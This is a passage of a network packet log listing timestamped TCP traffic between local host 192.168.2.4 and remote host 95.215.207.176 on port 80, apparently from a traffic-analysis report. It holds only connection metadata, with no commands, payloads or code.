Nov 1, 2024 13:42:20.201225996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201242924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201253891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201261044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201278925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201278925 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201286077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201299906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201303005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201314926 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201330900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201339960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201339960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201354980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201358080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201371908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201375961 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201387882 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201396942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201406002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201409101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201421976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.201428890 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201443911 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.201458931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322669983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322690964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322717905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322736025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322752953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322771072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322787046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322788954 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322803974 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322820902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322830915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322835922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322853088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322855949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322869062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322885036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322917938 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322928905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322942972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322968006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.322968960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322985888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.322990894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323000908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323004961 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323019028 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323019981 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323034048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323040009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323051929 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323075056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323156118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323173046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323188066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323196888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323218107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323225021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323297977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323339939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323350906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323381901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323389053 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323411942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323422909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323432922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323452950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323456049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323468924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323472977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323488951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323493004 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323507071 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323509932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323522091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323527098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323539972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323543072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323560953 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323581934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323640108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323657036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323673010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323676109 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323688030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323693037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323705912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323710918 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323719978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323728085 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323736906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323740005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323753119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323760033 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323772907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323790073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323792934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323810101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323827028 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323828936 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323843002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323853970 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323858976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323863029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323872089 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323875904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.323898077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323909998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.323993921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324009895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324026108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324029922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324042082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324048042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324059963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324060917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324074984 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324076891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324094057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324096918 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324110985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324115992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324129105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324131012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324146986 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324170113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324173927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324198961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324213982 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324214935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324230909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324234962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324250937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324254036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324270964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324296951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324338913 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324363947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324381113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324381113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324397087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324404001 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324424028 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324424028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324436903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324443102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324457884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324459076 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324479103 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324501991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324522972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324537039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324553013 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324563980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324568987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324579000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324585915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324594021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324604988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324620008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324620008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324630976 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324646950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324662924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324743032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324759007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324775934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324781895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324796915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324812889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324815989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324832916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324847937 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324852943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324872971 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324884892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.324956894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324973106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324987888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.324992895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325005054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325011969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325025082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325031996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325031996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325063944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325191021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325206995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325223923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325229883 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325239897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325247049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325258017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325268030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325273991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.325277090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325298071 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.325311899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446135998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446201086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446204901 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446217060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446234941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446249962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446258068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446289062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446300030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446342945 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446357012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446372986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446386099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446388960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446407080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446408033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446424961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446432114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446455956 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446619034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446665049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446666956 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446682930 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446706057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446722031 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446723938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446739912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446755886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446757078 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446770906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446779966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446799040 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446813107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446834087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446851969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446871042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446876049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446883917 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446892023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446914911 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446928978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.446955919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446971893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446986914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.446993113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447012901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447014093 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447029114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447030067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447046995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447062969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447074890 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447091103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447107077 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447110891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447124958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447133064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447144985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447159052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447159052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447165012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447177887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447184086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447195053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447212934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447220087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447235107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447237015 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447259903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447283983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447300911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447324991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447341919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447340965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447365999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447370052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447379112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447386980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447402954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447407007 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447419882 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447424889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447437048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447438955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447453022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447473049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447490931 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447506905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447520971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447527885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447542906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447556019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447581053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447596073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447609901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447617054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447630882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447644949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447716951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447731972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447746038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447757006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447768927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447779894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447789907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447799921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447815895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447817087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447827101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447833061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447851896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447868109 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447920084 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447933912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447952032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447957993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447968006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447968960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447983980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.447984934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.447998047 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448000908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448020935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448029041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448052883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448067904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448082924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448088884 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448100090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448100090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448116064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448122025 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448132038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448149920 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:20.448165894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448182106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448198080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:20.448199987 CET	49754	80	192.168.2.4	95.215.207.176
